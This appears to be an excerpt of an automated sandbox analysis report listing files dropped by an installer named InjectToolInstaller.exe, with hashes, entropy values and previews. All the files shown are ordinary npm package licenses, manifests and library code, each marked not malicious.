SHA-256:	09D6C2FA68DCF9D2E185D5F77E3064047DC4D10BB3B52581D89127DB38AD833F
SHA-512:	EC13E34ED45D1B51755BBBEB1DBE8DFFAE49775979F16C9F65398270016FE88C2A3A11FEC610B7E4491E2EDBBE564D9935C4792527DB6F627319D8CE9E255B4A
Malicious:	false
Preview:	{. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me)",. "name": "minimatch",. "description": "a glob matcher in javascript",. "version": "9.0.3",. "repository": {. "type": "git",. "url": "git://github.com/isaacs/minimatch.git". },. "main": "./dist/cjs/index.js",. "module": "./dist/mjs/index.js",. "types": "./dist/cjs/index.d.ts",. "exports": {. ".": {. "import": {. "types": "./dist/mjs/index.d.ts",. "default": "./dist/mjs/index.js". },. "require": {. "types": "./dist/cjs/index.d.ts",. "default": "./dist/cjs/index.js". }. }. },. "files": [. "dist". ],. "scripts": {. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "preprepare": "rm -rf dist",. "prepare": "tsc -p tsconfig.json && tsc -p tsconfig-esm.json",. "postprepare": "bash fixup.sh",. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "test": "c8 t

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1990
Entropy (8bit):	4.626953078993463
Encrypted:	false
SSDEEP:	48:yL6n4vsfONOs/gN94yH62erNEtY9/26L6n4vsfONOwBJ94yH62erNlbtYn:Y+Dm/gj5DHKR+Dit5DkKn
MD5:	9251E3544B0DA38463C032000AE5B0AD
SHA1:	E561B2E7173271CD78C6FEC9DB8C9172AD9572C1
SHA-256:	C0BE2F026E526F10D430FDDFA7B953888C42935D8F780C7BADB2CA55B9BCBE3C
SHA-512:	3B01F3EC4A948885D02813AE11DC39688AD0BDA0E654589B228C54DCF8A50F6E5CE6670F1A14700EE02EB85C037C31DD5E71BECCD3844E108028ECAD76122E85
Malicious:	false
Preview:	const Minipass = require('minipass').const _data = Symbol('_data').const _length = Symbol('_length').class Collect extends Minipass {. constructor (options) {. super(options). this[_data] = []. this[_length] = 0. }. write (chunk, encoding, cb) {. if (typeof encoding === 'function'). cb = encoding, encoding = 'utf8'.. if (!encoding). encoding = 'utf8'.. const c = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk, encoding). this[_data].push(c). this[_length] += c.length. if (cb). cb(). return true. }. end (chunk, encoding, cb) {. if (typeof chunk === 'function'). cb = chunk, chunk = null. if (typeof encoding === 'function'). cb = encoding, encoding = 'utf8'. if (chunk). this.write(chunk, encoding). const result = Buffer.concat(this[_data], this[_length]). super.write(result). return super.end(cb). }.}.module.exports = Collect..// it would be possible to DRY this a bit by doing something like.// this.col

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-collect\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	609
Entropy (8bit):	4.575171277329013
Encrypted:	false
SSDEEP:	12:6v18X3KwYyy4V/PAP1U2M1bCglZgpfOC0JwmRk/GCjPx:6v1Y1YyyUPAP1w1hPymkx
MD5:	560296B2053B0678DB48401F4D9895EB
SHA1:	FF5C7864735844778D9F653604AC1754604F89C4
SHA-256:	A0F049A58DBF9FD58E9B4686DB2D51200CDEA584C9B6425B400FAA24133ACE25
SHA-512:	90983EA06605B4C9659AA332EB8675D700362187AA67C9C33B327F5BE2C13F15B9DA86A60D7BDB50A3850746F1AA41C6A03C54C54918A1C20E84705A1C830670
Malicious:	false
Preview:	{. "name": "minipass-collect",. "version": "1.0.2",. "description": "A Minipass stream that collects all the data into a single chunk",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "tap": "^14.6.9". },. "dependencies": {. "minipass": "^3.0.0". },. "files": [. "index.js". ],. "engines": {. "node": ">= 8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.151688162194879
Encrypted:	false
SSDEEP:	24:bqZcJrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFFSX:bmcJaJHlxE3dQHOs5exm3ogFe
MD5:	F27CFD601484054495697BA3D54DE66A
SHA1:	3B3F7641724FC82333C4124947FFFA0FF46A5967
SHA-256:	1DEDEE6F84F5875CE4DC398D4D767274EB952A43CFD510A6ADA856B2ED347472
SHA-512:	DFF1DE86E1D5DE46DEFB9A76231054F42799BE7DAE1233A0AD164187AC3AB7117C0EEA1D2CCD6992D6BC72C1E0148A0463557BFD6E6671C95DDFE7F988F96E77
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Isaac Z. Schlueter and Contributors.Copyright (c) 2016 David Frank..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CON

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\abort-error.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	362
Entropy (8bit):	4.568071860999748
Encrypted:	false
SSDEEP:	6:QP1WJQ+1Eb1evFfO8DgcRsJQksqofAtJFRFYSnpDkW2HOMg9XR2fCFrm0Bbyu:S1WG+14I86mujsLR9pDkROz9X6Cw0BbB
MD5:	CA763653772AEDBC36AFE0DE68549DE0
SHA1:	A516910BD61D81659ACF7B4D43C0F427DECE4535
SHA-256:	BEEF50FEA16C75E829BB5288E8135D0C8D5E9C1425C123978DD38A2754AFC007
SHA-512:	D5E1FEC7EDC1CED6031715134BC0772920003E6835125117B7048282C847C616E6834C3D8F9EE92E0C7070597F6BE5319AB36920FAAF3C15E4A08DCB968E7C5A
Malicious:	false
Preview:	'use strict'.class AbortError extends Error {. constructor (message) {. super(message). this.code = 'FETCH_ABORTED'. this.type = 'aborted'. Error.captureStackTrace(this, this.constructor). }.. get name () {. return 'AbortError'. }.. // don't allow name to be overridden, but don't throw either. set name (s) {}.}.module.exports = AbortError.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\blob.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	2334
Entropy (8bit):	4.6956790109741835
Encrypted:	false
SSDEEP:	48:AwXPQQSSGb31Gb3GbNZRhSr7qP6d6kVSZpR3Zed5PelL24PDgg:eQejZRhSrWP6djVVPelL2yDgg
MD5:	C1B03ECB44F6EC956C0992C551E3A8E0
SHA1:	58FE7722A3C8F7771C64CB68977E08031910B7CB
SHA-256:	F53CB813C7F8159FB10BAFC8A20181C65797DED22D5E350511AB2F847B2DB861
SHA-512:	5836EE9102CFC8D94D8EED99339F925329324A0A70C6174E37E5FE7663F47B49B5C2B32E79CFD390954BEB4EC5C9B47BCA32A87043F0C00C925447A7A8E53408
Malicious:	false
Preview:	'use strict'.const { Minipass } = require('minipass').const TYPE = Symbol('type').const BUFFER = Symbol('buffer')..class Blob {. constructor (blobParts, options) {. this[TYPE] = ''.. const buffers = []. let size = 0.. if (blobParts) {. const a = blobParts. const length = Number(a.length). for (let i = 0; i < length; i++) {. const element = a[i]. const buffer = element instanceof Buffer ? element. : ArrayBuffer.isView(element). ? Buffer.from(element.buffer, element.byteOffset, element.byteLength). : element instanceof ArrayBuffer ? Buffer.from(element). : element instanceof Blob ? element[BUFFER]. : typeof element === 'string' ? Buffer.from(element). : Buffer.from(String(element)). size += buffer.length. buffers.push(buffer). }. }.. this[BUFFER] = Buffer.concat(buffers, size).. const type = options && options.type !== undefined. && String(options.typ

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\body.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	10556
Entropy (8bit):	4.856813792250569
Encrypted:	false
SSDEEP:	192:1PX1c3sU37YAeHIf7n6gSCkUwrU03kcSbq1FQIwzMiaMCm2aL6xfVwd/:1PlFAwgWd3VSb6qMiaMCmjF/
MD5:	D7AC2FF9A571FDA156F28D3C9528F216
SHA1:	B1CE2813C77F7327745DBE9CF4A5FE64166580E5
SHA-256:	3203724DD77014588268B40EAAAB6AF8C5025C51BFF4585CFD2270A263D6F4CE
SHA-512:	A9CB3B2E5004CFE55751AA6F2AE930EE44707AD1B6D89DFA47D8BDB6222ED2AA613FBCA88AB2F39D2099CF8541437D1C0C7DEE45349E17EEA1A8DDB232CD907B
Malicious:	false
Preview:	'use strict'.const { Minipass } = require('minipass').const MinipassSized = require('minipass-sized')..const Blob = require('./blob.js').const { BUFFER } = Blob.const FetchError = require('./fetch-error.js')..// optional dependency on 'encoding'.let convert.try {. convert = require('encoding').convert.} catch (e) {. // defer error until textConverted is called.}..const INTERNALS = Symbol('Body internals').const CONSUME_BODY = Symbol('consumeBody')..class Body {. constructor (bodyArg, options = {}) {. const { size = 0, timeout = 0 } = options. const body = bodyArg === undefined \|\| bodyArg === null ? null. : isURLSearchParams(bodyArg) ? Buffer.from(bodyArg.toString()). : isBlob(bodyArg) ? bodyArg. : Buffer.isBuffer(bodyArg) ? bodyArg. : Object.prototype.toString.call(bodyArg) === '[object ArrayBuffer]'. ? Buffer.from(bodyArg). : ArrayBuffer.isView(bodyArg). ? Buffer.from(bodyArg.buffer, bodyArg.byteOffset, bodyArg.byteLength).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\fetch-error.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	713
Entropy (8bit):	4.6590232983663435
Encrypted:	false
SSDEEP:	12:2cOWG+1nKL8XEnlEX7FJXgXBpyMx6dAlcw3sLR9pjEcwOz9X6lxYZpjEcdb0B6cv:2ocLjEXBJwRpy+gfR9pgBOz162pgwb0h
MD5:	D8976F4A12C427179FDD7821C32E74E4
SHA1:	905009BBA72174EEE2F1044A25B87E3764279900
SHA-256:	0EF76C82E13164DEEDB94685B0E8781136F7E596421F5E29F47854F268630B20
SHA-512:	D9C5C341B967E9DD5E9ACABCCBFAAFD83F65759C320148C9D2C15B48DE324E0283246F32847D0D73DF147BC4BBB943E1ED11F267AD3E9F9B9C8B2D92D1E98490
Malicious:	false
Preview:	'use strict'.class FetchError extends Error {. constructor (message, type, systemError) {. super(message). this.code = 'FETCH_ERROR'.. // pick up code, expected, path, .... if (systemError) {. Object.assign(this, systemError). }.. this.errno = this.code.. // override anything the system error might've clobbered. this.type = this.code === 'EBADSIZE' && this.found > this.expect. ? 'max-size' : type. this.message = message. Error.captureStackTrace(this, this.constructor). }.. get name () {. return 'FetchError'. }.. // don't allow name to be overwritten. set name (n) {}.. get [Symbol.toStringTag] () {. return 'FetchError'. }.}.module.exports = FetchError.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\headers.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	6547
Entropy (8bit):	4.725538522829992
Encrypted:	false
SSDEEP:	192:whIVaxOwlqRaExe0NRWQkzABkqTealwYU1Mzqvo2RyKiQBtDrbyHNzHxHKY+++Gn:uI5LRW5cyvLtDrbyHNzHVrVj
MD5:	AF11E5AC2C98D8585216B12CAED7958C
SHA1:	EFD6B92EA6A69A557A6BC845F32178F95F0AFE56
SHA-256:	25A7CC3BB7C6B4A64F1ED839DD08A9CC4172CCB00D5C0A0259CC08ECC6177DC0
SHA-512:	57A299E7957A43E145AA631320AE227FF36A27A926FFD0295CA4E114D83A427522DB00FA9D1A419531328DD0241020466C8157761652A4480493FCBE8ED7C8D0
Malicious:	false
Preview:	'use strict'.const invalidTokenRegex = /[^^_`a-zA-Z\-0-9!#$%&'*+.\|~]/.const invalidHeaderCharRegex = /[^\t\x20-\x7e\x80-\xff]/..const validateName = name => {. name = `${name}`. if (invalidTokenRegex.test(name) \|\| name === '') {. throw new TypeError(`${name} is not a legal HTTP header name`). }.}..const validateValue = value => {. value = `${value}`. if (invalidHeaderCharRegex.test(value)) {. throw new TypeError(`${value} is not a legal HTTP header value`). }.}..const find = (map, name) => {. name = name.toLowerCase(). for (const key in map) {. if (key.toLowerCase() === name) {. return key. }. }. return undefined.}..const MAP = Symbol('map').class Headers {. constructor (init = undefined) {. this[MAP] = Object.create(null). if (init instanceof Headers) {. const rawHeaders = init.raw(). const headerNames = Object.keys(rawHeaders). for (const headerName of headerNames) {. for (const value of rawHeaders[headerName]) {. this.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13205
Entropy (8bit):	4.459247295846877
Encrypted:	false
SSDEEP:	192:g98Pvn7EKIVkGKXkobXRGqvrJ3aOVa9Zaflq6aYPO+vs9XSWC681ffiqk2sh9so:A8PmojbxjJqp2fUtNAf6h20b
MD5:	FBCAABFD415F2FE8169284A392D89785
SHA1:	F3A13B0953B42B0941173B9CCEC8163897ACECA9
SHA-256:	263A8FFEF36A6AB92746BFBB984A9565F2F010743D1BB33839533FF0A4CAF85C
SHA-512:	AD368AC62CCFE6BBAF5D7F0EB0F67D07BA95CE872A2CE00B46545C748BA7ABBC3095E919629FAC123AD41CD7078105623C8FDF3887578A80CF31F293331533EE
Malicious:	false
Preview:	'use strict'.const { URL } = require('url').const http = require('http').const https = require('https').const zlib = require('minizlib').const { Minipass } = require('minipass')..const Body = require('./body.js').const { writeToStream, getTotalBytes } = Body.const Response = require('./response.js').const Headers = require('./headers.js').const { createHeadersLenient } = Headers.const Request = require('./request.js').const { getNodeRequestOptions } = Request.const FetchError = require('./fetch-error.js').const AbortError = require('./abort-error.js')..// XXX this should really be split up and unit-ized for easier testing.// and better DRY implementation of data/http request aborting.const fetch = async (url, opts) => {. if (/^data:/.test(url)) {. const request = new Request(url, opts). // delay 1 promise tick so that the consumer can abort right away. return Promise.resolve().then(() => new Promise((resolve, reject) => {. let type, data. try {. const { pathn

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\request.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Algol 68 source, ASCII text
Category:	dropped
Size (bytes):	7173
Entropy (8bit):	4.78439127967129
Encrypted:	false
SSDEEP:	192:yqTviTwUCqCYyDLOwZwR3AUoXqJaGjCRAAQCSlUJTwHk:z8wNn8QY2BSlUJTwHk
MD5:	A676655096E70E5BDB4CB4DCF8710E2B
SHA1:	73D50385150D85AA1ECCF675E8BF1A03B092C28F
SHA-256:	37D47AD0F3D7F91EC56B4187475D3FA218C1FAD55F79334B17123337FA5B8DA8
SHA-512:	E41EE7861369EE1A26FFCFB07E8294470FE14820EBFDF043B5D7B36A02E32B424436D5474B632987754377256FCBA9D3B96A40D2B3F4CA1538D098DED6D8F18D
Malicious:	false
Preview:	'use strict'.const { URL } = require('url').const { Minipass } = require('minipass').const Headers = require('./headers.js').const { exportNodeCompatibleHeaders } = Headers.const Body = require('./body.js').const { clone, extractContentType, getTotalBytes } = Body..const version = require('../package.json').version.const defaultUserAgent =. `minipass-fetch/${version} (+https://github.com/isaacs/minipass-fetch)`..const INTERNALS = Symbol('Request internals')..const isRequest = input =>. typeof input === 'object' && typeof input[INTERNALS] === 'object'..const isAbortSignal = signal => {. const proto = (. signal. && typeof signal === 'object'. && Object.getPrototypeOf(signal). ). return !!(proto && proto.constructor.name === 'AbortSignal').}..class Request extends Body {. constructor (input, init = {}) {. const parsedURL = isRequest(input) ? new URL(input.url). : input && input.href ? new URL(input.href). : new URL(`${input}`).. if (isRequest(input)) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\lib\response.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	4.767154342741007
Encrypted:	false
SSDEEP:	48:X5EZBmpgctG/yTgwnkRF/EjjDgj7O8n1bRywnKhWhSOADzrr9xUrnYJwk:sBAVt2yTgwQNEjjDgjh1bRywCWhSOATL
MD5:	233EAD6729769887288A200DB6029FA7
SHA1:	B05AE55D74AD33076CFB6DF9698CB4B0C3D5D3FD
SHA-256:	5CA89C930583CA0D3DE066E7B58CA6CD57FD9271A5CA5FF30CD2AE7085D6AC7A
SHA-512:	C14C73BAA9EDA624526CEA34B5D0AA0AA94577E1F52430106AA8D36272E84CF243F720E77C781BFE208F93C9822E6D01E6FDCFD38AC0EBBC86B892ECCE16467B
Malicious:	false
Preview:	'use strict'.const http = require('http').const { STATUS_CODES } = http..const Headers = require('./headers.js').const Body = require('./body.js').const { clone, extractContentType } = Body..const INTERNALS = Symbol('Response internals')..class Response extends Body {. constructor (body = null, opts = {}) {. super(body, opts).. const status = opts.status \|\| 200. const headers = new Headers(opts.headers).. if (body !== null && body !== undefined && !headers.has('Content-Type')) {. const contentType = extractContentType(body). if (contentType) {. headers.append('Content-Type', contentType). }. }.. this[INTERNALS] = {. url: opts.url,. status,. statusText: opts.statusText \|\| STATUS_CODES[status],. headers,. counter: opts.counter,. trailer: Promise.resolve(opts.trailer \|\| new Headers()),. }. }.. get trailer () {. return this[INTERNALS].trailer. }.. get url () {. return this[INTERNALS].url \|\| ''. }.. get st

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-fetch\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	4.746961384047956
Encrypted:	false
SSDEEP:	24:41MvPAMsgtPYKFfesLBDH5Y98LIFh/S60XiFwmkzrNeM8xgMJo631TZD:gMvIMpPY2esV5S8sP/V0X+0NseMfFTt
MD5:	8ED4926EDB0BC8753FF647D1D8B58ABA
SHA1:	0864351787BE5EB74DE6263A3F2D04087A3AFB4C
SHA-256:	756A53E84961495A5475CD88D0EDC5CB8FD83F377B27A883775897C8B242F895
SHA-512:	04FD9A81CB1DB7ADE04A05E2122825C46CF1AB1DFED16DDCC1D3AC6737926B0295648527A1C51225C9DCCAC1199A1D015ECAB2047D4B9A9CFEA0AE249095D2C2
Malicious:	false
Preview:	{. "name": "minipass-fetch",. "version": "3.0.4",. "description": "An implementation of window.fetch in Node.js using Minipass streams",. "license": "MIT",. "main": "lib/index.js",. "scripts": {. "test:tls-fixtures": "./test/fixtures/tls/setup.sh",. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "tap": {. "coverage-map": "map.js",. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "@ungap/url-search-params": "^0.2.2",. "abort-controller": "^3.0.0",. "abortcontroller-polyfill": "~1.7.3",. "encoding": "^0.1.13",. "form-data": "^4.0.0",. "nock": "^13.2.4",. "parted": "^0.1.1",. "string-to-arraybuffer": "^1.0.2",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	4.626079402753193
Encrypted:	false
SSDEEP:	24:XwUhfL6UvauBIVuZFZ5FKj7HTqG+V6eNp7JwhIva2tY2hdp57G2FsBt:lL6qa+I4ZFZLK7zXvqRX9FjaX
MD5:	1708EE52A31B5270443552F0156EF0FA
